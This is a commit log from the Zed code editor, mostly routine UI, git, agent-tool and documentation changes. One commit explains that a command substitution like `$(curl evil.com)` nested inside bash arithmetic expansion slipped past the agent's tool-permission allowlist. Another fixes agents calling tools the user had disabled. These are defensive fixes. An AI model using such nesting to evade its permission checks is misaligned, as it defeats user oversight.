Commit Graph
37534 Commits
Author SHA1 Message Date
morgankrey cc2c2ceee4 Add GPT-5.5 and GPT-5.5 pro model documentation (#55795)
## Summary

- Add pricing table entries for GPT-5.5 and GPT-5.5 pro
- Add context window entries for GPT-5.5/5.5 pro (272k)
- Fix context window values for all OpenAI models from 400k to 272k to
match actual cloud-enforced limit
- Update student plan note to exclude GPT-5.5 pro
- Update page description

Follows up on #54820 which added code support for GPT-5.5 models.

The 272k limit is enforced in the cloud due to context-tiered pricing
not yet being implemented.

## Test plan

- [ ] Verify pricing matches cloud repo configuration
- [ ] Check docs render correctly

Release Notes:

- N/A
2026-05-05 17:17:59 +00:00
Oleksiy SyvokonandBen Kunkle fee5f2b8d0 ep: Fix V0420 Diagnostics format (#55798)
- Truncated diagnostics to fit ~2000 tokens
- Moved the diagnostics section before the cursor snippet
- Increased total tokens limit for this prompt to 8192 tokens

Release Notes:

- N/A

Co-authored-by: Ben Kunkle <ben@zed.dev>
2026-05-05 17:10:03 +00:00
Richard Feldman e8dd89be3a Extract nested command substitutions from arithmetic expansions (#54690)
Bash arithmetic expansion `$((...))` can contain command substitutions
like `$(curl evil.com)`. Previously, `extract_commands_from_word_piece`
treated `ArithmeticExpression` as a no-op, so nested commands inside
`$(( ... ))` were never extracted for allowlist checking.

This fix re-parses the `ArithmeticExpression` value string using
`brush_parser::word::parse` and recursively extracts any embedded
command substitutions, mirroring how `CommandSubstitution` and
`DoubleQuotedSequence` are already handled.

Closes SEC-267

Release Notes:

- Commands nested inside bash arithmetic expansions (e.g. `$(($(curl
example.com)))`) are now understood by the tool-calling permissions
regexes.
2026-05-05 16:25:56 +00:00
Om ChillureandBennet Bo Fenner 975efee4bc Fix agent being able to execute tools that are turned off (#54863)
#### Closes #54741

Fix disabled context server tools being callable in profiles with
`enable_all_context_servers: true`

`AgentProfileSettings::is_context_server_tool_enabled` short-circuited
on `enable_all_context_servers` and ignored explicit per-tool `false`
entries in `context_servers`, so agents could still call tools the user
had disabled in their profile.
The filter now matches what the tool picker UI already does
(`tool_picker.rs:357-371`): the explicit per-tool setting wins, and
`enable_all_context_servers` is only consulted as a fallback when the
tool has no explicit entry.

### Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Screenshots : 

When turned false
<img width="1920" height="1042" alt="1"
src="https://github.com/user-attachments/assets/ccc9093b-b0c7-4061-9349-f6a2e8170698"
/>

When true 
<img width="1920" height="1042" alt="2"
src="https://github.com/user-attachments/assets/f3e085cb-2b7d-4dab-9f89-4c735d809207"
/>



Release Notes:

- Fixed agent profiles with `enable_all_context_servers: true` ignoring
per-tool `false` overrides in `context_servers`, allowing agents to call
tools the user had explicitly disabled.

Co-authored-by: Bennet Bo Fenner <bennet@zed.dev>
2026-05-05 16:23:03 +00:00
Mikhail Pertsev 77218dc8b3 editor: Extract Diagnostics code out of editor.rs (#55747)
cc @SomeoneToIgnore

## Summary

Follow-up to https://github.com/zed-industries/zed/discussions/55352,
where the conclusion was to split `editor.rs` incrementally by topic
instead of all at once.

This mechanically extracts diagnostics-related editor code into
`crates/editor/src/editor/diagnostics.rs` while preserving the existing
public API via re-exports.

## Testing

- `cargo check -p editor --lib`
- `cargo check -p diagnostics --lib`
- `cargo check -p diagnostics --tests`

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- N/A
2026-05-05 15:52:45 +00:00
Om ChillureandMax Brunsfeld 643c3cf654 Fix git worktree popup popup no worktree when opened in a project (#55053)
## Summary

Fixes the `git: worktree` popup showing no worktrees when a project is
opened at the parent of a `.bare` directory (the common
bare-clone-with-sibling-worktrees layout).

## What's fixed

- `crates/git/src/repository.rs`
- New `git_binary_for_worktree_list` helper that uses
`repository.path()` as the working directory when `workdir()` is `None`.
  - `worktrees()` switched to the new helper.
- `parse_worktrees_from_str` accepts bare entries without a `HEAD` line.
  
- Tests
- Unit test: parser handles a bare entry with no `HEAD` followed by a
normal worktree entry.
- Integration test: full `.git`-file → `.bare` + sibling worktrees
layout (`main`, `feature-a`, `feature-b`) is listed correctly via the
real `git` binary.

UI rendering already gates on empty sha (`worktree_picker.rs` uses
`.when(!sha.is_empty(), ...)`), so the bare entry's empty sha renders
without artifacts.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments — N/A, no `unsafe`
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable — same
single `git worktree list --porcelain` invocation, no extra work

#### Closes #54824

Video 

[Screencast from 2026-04-28
09-43-45.webm](https://github.com/user-attachments/assets/e414d546-eb61-4cb2-857e-3c392f416f96)


Release Notes:

- Fixed the `git: worktree` popup listing no worktrees when a project
was opened at the parent of a `.bare` directory
(bare-clone-with-sibling-worktrees layout).

---------

Co-authored-by: Max Brunsfeld <maxbrunsfeld@gmail.com>
2026-05-05 15:34:56 +00:00
Ben Brandt c7ffe5b085 acp_thread: Render execute tool titles as plain text (#55783)
We had a regression where the labels were being rendered as markdown,
which is usually not what you want on a command

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- N/A
2026-05-05 15:11:11 +00:00
Agus Zubiaga 26b6e0274e Promote queued message to main editor on paste (#55780)
Pasting text or an image into a queued-message editor used to be a
silent no-op for text and a panic for images.

This change makes pasting into a queued message behave like typing into
one: the queued message is promoted into the main editor at the cursor
position, and the paste is then applied there.

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Closes #55521

Release Notes:

- Fixed a crash when pasting an image into a queued message
2026-05-05 15:06:14 +00:00
George Waters a5993eb9b3 Support path pasting in terminal (#48222)
This adds the functionality to support pasting the file path of an item
when the copied item supports it. This mirrors the behavior of
`Terminal.app` on macOS.

This only implements the functionality on macOS but could be extended to
other platforms.

I find this convenient when I'm using Finder to navigate around the file
system and I want to copy a directory or file path and put it in the
terminal. You can copy the item from Finder and paste it into the
terminal and it will write out the full path of the item, making it easy
to change directories or provide path parameters to commands.

Release Notes:

- Added path pasting functionality in terminal
2026-05-05 14:50:57 +00:00
Bennet Bo Fenner 4483ec21dc agent: Allow model to provide stringified timezone in now tool (#55776)
See
https://github.com/zed-industries/zed/issues/55186#issuecomment-4376114420

I think the recent changes to the tool schema in #55763 will make this
more unlikely, but does not hurt to allow the model to provide `"utc"`.

Release Notes:

- N/A
2026-05-05 14:40:43 +00:00
Vlad Ionescu 81e34fe751 opencode: Support interleaved_reasoning and fix DeepSeek (#55574)
OpenCode API endpoints for DeepSeek were [moved from
Anthropic-compatible to
OpenAI-compatible](https://github.com/anomalyco/opencode/pull/24500) and
DeepSeek requires interleaved reasoning enabled to work. I ran a
_"rename this variable to potato"_ test and I can confirm DeepSeek V4
Flash and Pro both work now 🎉

Some other OpenCode Go models were marked [on
models.dev](https://github.com/anomalyco/models.dev/tree/dev/providers/opencode-go/models)
as supporting `interleaved_reasoning` so they too got that enabled. Kimi
K2.5 and Kimi K2.6 continue to fail with
https://github.com/zed-industries/zed/issues/51743
(https://github.com/zed-industries/zed/pull/55085 seems to hint at this
being [an OpenCode
issue](https://github.com/zed-industries/zed/issues/51743#issuecomment-4336785765)?),
but all other models seem to work fine both with `interleaved_reasoning`
and without it 🤷 I assume it's better to have that turned on? Again, the
intersection of OpenAI Chat Completions API, different models, different
inference providers, how they all work together is something I know
nothing about!

Self-Review Checklist:

- [X] I've reviewed my own diff for quality, security, and reliability
- [X] Unsafe blocks (if any) have justifying comments
- [X] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ ] Tests cover the new/changed behavior
- [X] Performance impact has been considered and is acceptable

Release Notes:
- OpenCode Go: use correct DeepSeek endpoints
- OpenCode: add support for interleaved_reasoning
2026-05-05 14:30:17 +00:00
Joseph T. Lyons 8dbf86466a Add an initial context menu to the git graph entrees (#55720)
This PR adds an initial context menu to the git graph entries. There are
a bunch of commit-specific actions we will likely want to add here over
time (e.g. create a branch at this commit, revert, etc.), but for this
PR, it only exposes the actions that were already available from the
commit details panel: `Copy SHA` and `View Commit`. We will also need a
context menu to land a future want of mine: custom git command support
in the git graph.

This was a bit trickier than a normal context menu addition because the
git graph uses the selected entry to drive the commit details panel. If
right-clicking a row went through the normal selection path, it would
also pop open the commit details panel if it was closed, or change the
commit currently being shown if it was already open. I don’t think
right-clicking to open a context menu should do either of those things.
The context menu target and the commit details panel should be
independent of one another.

To support that, this PR introduces `GitGraphContextMenu`. Most of this
state was already present as a tuple for rendering a context menu, but
it wasn’t wired up to graph rows. I pulled that state into its own type
and added an `entry_idx` field to track which row the context menu was
opened on. This lets the row highlight while the menu is open without
changing the selected commit or opening the details panel.

This also suppresses the commit subject tooltip while the context menu
is open, matching the pattern used elsewhere to avoid tooltips appearing
on top of context menus.

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Added a context menu the git graph entrees
2026-05-05 14:22:50 +00:00
Ben Brandt 4d8c129453 acp: Allow resolving older npm package versions (#55770)
Lots of people are using `min-release-age` in their .npmrc files these
days.

I saw two options:

1. Force min-release-age=0 so we can always install the latest
2. Be more lenient in what we allow

I opted for 2, which means we convert `package@0.1.2` to
`package@<=0.1.2`. This means npm can find the latest version we can
that meets the user's requirements.

The downside is, the registry args/env may or may not work with the
resolved version, but that should at least surface better thanks to
#55757

There is also the issue that npm will cache package metadata and an
older version it has cached would still resolve. However, once the
metadata is updated, npm does use the newer tarball at least, so it will
update eventually.

It's a tradeoff, but I'd rather start with this until we have a better
solution on the ACP registry, rather than have users be upset becaue we
installed packages in a way they didn't want.

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Closes
https://github.com/agentclientprotocol/claude-agent-acp/issues/516

Release Notes:

- acp: Better support min-release-age settings for npx-based agents from
the registry
2026-05-05 14:12:43 +00:00
Ben Brandt a226b3149a eval_cli: Update eval_cli toolchain and pin harbor (#55768)
Move `git_ui` to `agent_ui` test dependencies
and bump the eval CLI Docker image to Rust 1.95.0 while pinning
the Python `harbor` dependency to 0.6.4

Release Notes:

- N/A
2026-05-05 13:40:58 +00:00
Finn Evers 5a68015e3d editor: Un-pub ScrollManager (#55767)
Make this only pub(crate) in preparation for
https://github.com/zed-industries/zed/pull/44827

Release Notes:

- N/A
2026-05-05 13:01:02 +00:00
Ben Brandt 9ad9a2ecf2 agent_servers: Include stderr in ACP startup exit errors (#55757)
Previously, we weren't waiting on the status future early enough so we
would just hang if we weren't able to start the agent process.

I also added the recent stderr logs in there to help the user debug the
issue, since it is likely relevant in these cases.

<img width="902" height="226" alt="image"
src="https://github.com/user-attachments/assets/204e42ff-4c9b-49e7-8a6d-ecf7b022fbd0"
/>


Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- acp: Improve error messages if the ACP agent fails to start.
2026-05-05 12:39:50 +00:00
Bennet Bo Fenner ef3c971980 agent: Simplify tool schemas for enums (#55763)
Previously schemars generated oneOf variants for these enums (because we
added inline comments), making the schemas more complicated than they
had to be.

E.g. `edit_file` `mode`

Before:
```json
{
  "mode": {
    "description": "The mode of operation on the file. Possible values:\n- 'write': Replace the entire contents of the file. If the file doesn't exist, it will be created. Requires 'content' field.\n- 'edit': Make granular edits to an existing file. Requires 'edits' field.\n\nWhen a file already exists or you just created it, prefer editing it as opposed to recreating it from scratch.",
    "oneOf": [
      {
        "description": "Overwrite the file with new content (replacing any existing content).\nIf the file does not exist, it will be created.",
        "type": "string",
        "const": "write"
      },
      {
        "description": "Make granular edits to an existing file",
        "type": "string",
        "const": "edit"
      }
    ]
  }
}
```

After:
```json
{
  "mode": {
    "description": "The mode of operation on the file. Possible values:\n- 'write': Replace the entire contents of the file. If the file doesn't exist, it will be created. Requires 'content' field.\n- 'edit': Make granular edits to an existing file. Requires 'edits' field.\n\nWhen a file already exists or you just created it, prefer editing it as opposed to recreating it from scratch.",
    "type": "string",
    "enum": ["write", "edit"]
  }
}
```

Release Notes:

- N/A
2026-05-05 12:39:41 +00:00
Ben Brandt 6cfd667d36 eval_cli: Fixes for termbench (#55762)
Release Notes:

- N/A
2026-05-05 12:32:58 +00:00
Bennet Bo Fenner 928ee10306 agent: Remove display_description from edit tool (#55752)
We did not really use it in practice (we would only display it in the
tool card header until we received a path), so as is it just wastes
tokens. Therefore removing it.

Release Notes:

- agent: Reduce token usage when LLM edits file
2026-05-05 12:11:24 +00:00
Bennet Bo Fenner 9c6fba604b agent: Cleanup edit_file evals (#55750)
- Rename `streaming_edit_file` to `edit_file`
- Remove workaround for replacing old edit tool with streaming edit file
tool

Release Notes:

- N/A
2026-05-05 09:58:05 +00:00
Cameron McloughlinandLukas Wirth 1764bfc645 agent: LSP tools (#55744)
Adds 4 (technically 5) new tools to the zed agent, corresponding to LSP
actions:
- `find_references`
- `goto_definition`
- `rename_symbol`
- `get_code_actions` and `apply_code_actions`

Notes:
- `rename_symbol` skips doing a `prepare_rename`. If there is nothing to
rename at the position, it will forward the error to the agent
- The code action tools are stateful. The state is stored in the
`get_code_actions` tool itself as a `PendingCodeActions`. It is not
passed into/out of subagents. Calling `apply_code_actions` without
calling `get_code_actions` first is an error, but I've never seen an
agent do this

Symbols are identified by:
- file name
- line number
- symbol

If there is no substring match on that line for the symbol text, it is
an error. If there are multiple, it chooses the first. This may not be
great if you have a line like: `fn convert(x: foo::Something) ->
bar::Something` - the second `Something` is a different symbol, but is
inacessible to these tools. Probably fine for now, but we can look into
improving


Release Notes:

- Added: New tools for the Zed Agent for interacting with language
servers

---------

Co-authored-by: Lukas Wirth <me@lukaswirth.dev>
2026-05-05 09:35:08 +00:00
Max Brunsfeld 914e7ecb65 Improve grouping of worktrees by repo in recent projects (#55715)
* Perform grouping even for repositories that have no main worktree
* Enable grouping for remote projects
* Delete entire project groups when deleting via the recent project
picker

Release Notes:

- Fixed a bug where each linked worktree appeared as its own entry in
recent projects for repositories without main worktrees
- Fixed a bug where deleting projects from the recent projects sometimes
appeared to have no effect.
2026-05-05 08:21:03 +00:00
Lukas Wirth 7f8b3cd4e5 lsp: Reduce lsp log spam for unimportant failures (#55732)
Release Notes:

- N/A or Added/Fixed/Improved ...
2026-05-05 06:57:05 +00:00
Lukas Wirth 53220b9c37 outline: Fix panic due to stale outline hover selection (#55674)
Fixes ZED-687

Release Notes:

- N/A or Added/Fixed/Improved ...
2026-05-05 05:10:46 +00:00
Chris KievitandChristopher Biscardi 20fdcf9ccc editor: Add base64 encode/decode commands (#55361)
Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Adds `editor: convert to base64` and `editor: convert from base64` to
the command palette. Both commands operate on the current selection, or
the word under the cursor when nothing is selected. The decode command
silently no-ops on invalid base64 input or non-UTF-8 decoded bytes,
consistent with how other convert commands handle untransformable input.

Release Notes:

- Added `editor: convert to base64` and `editor: convert from base64`
commands to the command palette

---------

Co-authored-by: Christopher Biscardi <chris@christopherbiscardi.com>
2026-05-05 04:36:18 +00:00
js a7be96cb8c Update panel dock default values in settings docs (#55719)
The [Parallel Agents release](https://zed.dev/blog/parallel-agents)
introduced a new default layout: the agent panel now docks on the left,
while the project, git, outline, and collaboration panels now dock on
the right. The rustdoc comments in `crates/settings_content` were not
updated to reflect this change.

This PR corrects the `Default:` values in the following structs:

- `ProjectPanelSettingsContent.dock`: `left` → `right`
- `GitPanelSettingsContent.dock`: `left` → `right`
- `PanelSettingsContent.dock` (collaboration panel): `left` → `right`
- `OutlinePanelSettingsContent.dock`: `left` → `right`
- `AgentSettingsContent.dock`: `right` → `left`

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- N/A
2026-05-05 03:59:02 +00:00
Conrad Irwin 3fe25f60c1 Add Move to Applications (#54719)
Self-Review Checklist:

- [ ] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [ ] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ ] Tests cover the new/changed behavior
- [ ] Performance impact has been considered and is acceptable

Release Notes:

- Added a prompt to move Zed to /Applications on macOS when run from
within the .dmg
2026-05-05 03:48:55 +00:00
Xiaobo Liu d6fad4830e project: Load git diff bases concurrently (#55480)
Use `future::join` when loading index and committed text for buffer diff
bases, while keeping skipped loads as ready None futures.

Release Notes:

- N/A

Signed-off-by: Xiaobo Liu <cppcoffee@gmail.com>
2026-05-05 03:06:37 +00:00
najeira 3fddd3ccb0 settings_ui: Toggle root navbar entries on double-click (#55526)
Settings navbar root entries can now be expanded or collapsed by
double-clicking the row itself.

Single-click navigation is preserved, so clicking a root entry still
opens the selected Settings page. The double-click handler only toggles
on `click_count() == 2`, so triple-clicking the row does not toggle it
again.

The double-click path reuses the same toggle-and-focus behavior as the
disclosure chevron.

Testing:

- `cargo fmt --check --package settings_ui`
- `cargo check -p settings_ui`
- `cargo test -p settings_ui`
- Manually verified that:
- single-clicking a Settings navbar root entry still opens the selected
Settings page
  - double-clicking a Settings navbar root entry expands or collapses it
  - triple-clicking the row does not toggle the entry again
  - clicking the disclosure chevron still expands or collapses the entry

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Improved Settings navigation by allowing root navbar entries to expand
or collapse on double-click.
2026-05-05 02:48:49 +00:00
Conrad Irwin c6514d7397 Try to reduce linux wGPU crashes better (#55343)
Updates #54349

There were two problems:
* The crash never happened, instead we'd always retry.
* When re-trying it seemed like we were picking llvmpipe. Claude's
suggestion was that immediately after wake, the real GPU isn't yet
awake, and so we pick llvm. Avoid this by disallowing llvmpipe on retry

Release Notes:

- linux: Reduced crash rate when recovering GPUs
2026-05-05 02:24:23 +00:00
Agus Zubiaga ba6d258b0f Handle hiding cursor on keyboard input at GPUI level (#55664)
Instead of manually handing hiding the cursor on keyboard input at the
editor level, GPUI will now take care of it.

This makes it significantly easier to handle the edge cases, and allows
delegating the cursor restoration to the platform itself in the macOS
case. On Linux and Windows, we still have to restore the cursor on
movement ourselves, but this now happens at the platform-specific level.

Bugs fixed by this change:
- No cursor when "Unsaved edits" prompt appears
- Cursor disappears when clicking a panel button if it contains a search
bar (e.g. collab panel)

### Setting rename

The `hide_mouse` setting value `"on_typing_and_movement"` has been
renamed to `"on_typing_and_action"` to better reflect what it actually
does — it hides the cursor when a keystroke resolves to an action (e.g.
cursor movement, deletion). Existing settings are migrated
automatically.

### Tested platforms
- [x] macOS
- [x] Wayland
- [x] X11
- [x] Windows
- [x] Web

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Renamed the `hide_mouse` setting value `on_typing_and_movement` to
`on_typing_and_action` to better describe its behavior (existing
settings are auto-migrated)
- Fixed a few situations where the mouse cursor would be incorrectly
hidden
2026-05-04 22:51:56 +00:00
George Waters d1525d92b1 Add show line endings button to Settings UI (#55707)
This is following up from #39609 to add the line endings button setting
into settings ui.

Release Notes:

- Added the line endings button setting to settings ui.
2026-05-04 22:24:24 +00:00
Dzming Li 29c8f13296 docs: Add Standard ML to community language extensions list (#55695)
Adds the Standard ML community extension
([omarjatoi/zed-sml](https://github.com/omarjatoi/zed-sml)) to
`docs/src/languages.md`. It is already published in the Zed extension
registry ([zed.dev/extensions/sml](https://zed.dev/extensions/sml)) and
provides Tree-sitter highlighting plus Millet LSP integration, but is
currently missing from the language documentation page.

Release Notes:

- N/A
2026-05-04 22:07:14 +00:00
Tom Houlé 54aa230861 client: Pass x-zed-system-id header in get_authenticated_user() (#55688)
We are going to drive current organization selection with server side
state, so we need to know which installation we are on so the server can
return the correct currently selected organization. Next step will be
using the organization from the response and removing the locally
persisted current organization id.

Part of CLO-716

Release Notes:

- N/A
2026-05-04 19:08:24 +00:00
Lukas Wirth 2da5fadd7e zed: Do not upload crashes that lack an associated release (#55605)
We will not have any debug data for these anyways (and usually this
indicates someone else made a built that somehow points to our sentry
endpoint ...)

Release Notes:

- N/A or Added/Fixed/Improved ...
2026-05-04 18:44:05 +00:00
Finn Evers 6f8db571a8 ci: Create releases with the Zed Zippy identity (#55649)
Just a small QoL, the change here will make it so that under
https://github.com/zed-industries/zed/releases/tag/v1.0.1 the releases
will show as created by zed-zippy and not github-actions.

Release Notes:

- N/A
2026-05-04 16:49:23 +00:00
Adam Ehlers Nyholm Thomsen 860aa7889c Fix micromamba powershell activation (#55643)
Powershell does not support eval, furthermore pwsh is also a
"powershell" shell for micromamba.

Self-Review Checklist:

- [X] I've reviewed my own diff for quality, security, and reliability
- [X] Unsafe blocks (if any) have justifying comments
- [X] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ ] Tests cover the new/changed behavior
- [X] Performance impact has been considered and is acceptable

Release Notes:

- Fixes micromamba powershell activation
2026-05-04 16:44:18 +00:00
Anthony Eidandcameron 7a60f55db2 git_graph: Add remote support for search operations (#55167)
### Motivation 

This is the second of three PRs to add remote/collab support for the git
graph and is a follow-up to #54468. I'm adding remote support for the
search because it's not user accessible without the initial graph fetch
having remote support, so it allows us to merge this without having to
add full remote support. Collab guest support will be added in a
follow-up PR.

#### Summary

For large repos, searching can take a while to fully stream in all
matched results. For example, running a basic search on the Linux repo
took over 10s for me. Because of that, we want to stream search results
in chunks to downstream users to keep the time-to-first-match low. After
this change, the first chunk gets sent back after ~50ms on the Linux
repo from receiving the request.

In order to accomplish that, I added a new proto client API that allows
for a request to map to n responses. e.g.

```/dev/null/example.rs#L1-1
client.add_entity_stream_request_handler(Self::handle_search_commits);
```

Note: The proto API isn't supported over collab yet, that will be
another PR

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Closes #ISSUE

Release Notes:

- N/A

---------

Co-authored-by: cameron <cameron.studdstreet@gmail.com>
2026-05-04 16:38:14 +00:00
Lukas Wirth 957f9d4248 debugger_ui: Fix debugger tab drop crash (#55667)
Avoid reading the source debugger pane during SubView drop handling
because it may be the Pane currently being updated. Use the DraggedTab
item handle to validate the drop and capture the item id, leaving
source-pane reads to the deferred move. Add a regression test for a
stale SubView host pane during tab drop.

Fixes ZED-74F

Release Notes:

- N/A or Added/Fixed/Improved ...
2026-05-04 16:31:27 +00:00
Conrad Irwin dfaae1c956 Remove Flatpak warning now that sandboxing is reverted (#55673)
Self-Review Checklist:

- [ ] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [ ] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ ] Tests cover the new/changed behavior
- [ ] Performance impact has been considered and is acceptable

Closes #ISSUE

Release Notes:

- N/A
2026-05-04 16:22:19 +00:00
Max Brunsfeld 1deb935c77 Fix handling of git repositories with an external git directory (#55402)
Closes https://github.com/zed-industries/zed/issues/54824

Previously, we always assumed that `gitdir` was an absolute path. Also,
we did not correctly handle custom gitignore files that were configured
via separate git directories.

Release Notes:

- Fixed failure to recognize git repositories where `gitdir` was
expressed as a relative path.
- Fixed handling of gitignores in git repositories that use a separate
git dir.
2026-05-04 16:20:25 +00:00
Bennet Bo Fenner 72ffcd297b agent: Refactor edit file tool state handling (#55663)
Ports some changes introduced in #51165 out to make merge conflicts
easier to handle.

Splits the `Pipeline` into two separate types for mode edit/write so we
don't need to maintain that invariant inside the pipeline/in the parser

Also moves the parser to be a submodule of `edit_file_tool`

Release Notes:

- N/A
2026-05-04 15:45:06 +00:00
Cole Miller 325fbca81a Fix panic in multi_buffer::Anchor::is_valid (#55644)
We check `is_valid` by seeking to the first excerpt that is `>=` the
anchor, and comparing the anchor to the excerpt's start and end. But we
were missing a check for the case where seeking puts us on an excerpt
for a different buffer, for example when the anchor to be checked is
past the end of the context range for its buffer's last excerpt.

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Fixed a panic in multibuffers.
2026-05-04 12:46:03 +00:00
Cole Miller d5426f5837 Fix mismatched excerpts in split agent diff (#55629)
Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Fixed excerpts not matching in the agent diff when in the split view.
2026-05-04 11:56:06 +00:00
Marshall Bowers 6024295388 collab: Stop mixing concerns in get_channel_participant_details (#55568)
This PR updates the `get_channel_participant_details` method to reduce
the mixing of concerns within the method.

The authorization check for the caller has been moved to the outside,
along with the conversions from the database representations to the RPC
proto representations.

Now the method is just responsible for dealing with the data fetching,
which will make it easier to swap out.

Release Notes:

- N/A
2026-05-04 11:51:56 +00:00
Cameron Mcloughlin dc593e08a1 gpui: Preserve test return type in gpui::property_test macro (#55622)
Proptest allows returning `Result<(), TestCaseError>` , but we were
swallowing return values, causing spurious test successes if using
`prop_assume!`, `prop_assert!`, etc. These would have given an "unused
`Result`" warning.
Release Notes:

- N/A or Added/Fixed/Improved ...
2026-05-04 11:43:06 +00:00
Ben Brandt d9388a0554 Bump dependencies with warnings (#55614)
Updates dependencies with potential warnings.

- **Update quinn-proto**
- **Update awc-lc-rs**
- **Update openssl**
- **Bump rustls**
- **Update aws crates**
- **Bump rand**

Release Notes:

- N/A
2026-05-04 10:42:34 +00:00
Lukas Wirth 1083152382 editor: Fix stale breakpoints when re-opening buffers for a saved file (#55610)
Fixes ZED-73M

Release Notes:

- N/A or Added/Fixed/Improved ...
2026-05-04 10:39:52 +00:00
Lukas Wirth a976e1d6c9 language_tools: Open server logs instead of server trace on View Logs (#55621)
Release Notes:

- N/A or Added/Fixed/Improved ...
2026-05-04 10:39:38 +00:00
Ben Brandt fc982b7b20 Update danger deps for CI (#55615)
Release Notes:

- N/A
2026-05-04 10:31:07 +00:00